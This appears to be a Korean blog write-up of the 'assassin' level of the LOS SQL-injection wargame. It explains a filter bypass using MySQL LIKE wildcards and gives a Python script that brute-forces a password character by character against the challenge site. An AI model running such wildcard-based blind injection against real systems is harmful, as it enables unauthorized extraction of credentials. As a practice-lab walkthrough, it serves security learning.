728x90
싱글쿼터(')가 필터링된다.
like를 이용할 때는 mysql에서 문자열 검색 시 사용하는 %를 이용해 문자열을 알아낼 수 있다.
a% : a로 시작하는 문자열
%a% : a를 포함하는 문자열
%a : a로 끝나는 문자열
a_ : a로 시작하는 두 글자의 문자열
파이썬으로 자동화 코드를 작성했다.
import requests
pw=''
for i in range(99) :
for j in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/assassin_14a1fd552c61c60f034879e5d4171373.php'
query={'pw': str(pw)+chr(j)+'%'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'phpsessid'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text or "Hello guest" in res.text):
pw=pw+chr(j)
print(pw)
break
실행 결과: 902EFD10
Clear!
728x90
'WEB > LOS' 카테고리의 다른 글
[LOS] zombie_assassin (0) | 2021.08.29 |
---|---|
[LOS] succubus (1) | 2021.08.12 |
[LOS] giant (0) | 2021.07.27 |
[LOS] bugbear (0) | 2021.07.21 |
[LOS] darkknight (0) | 2021.07.16 |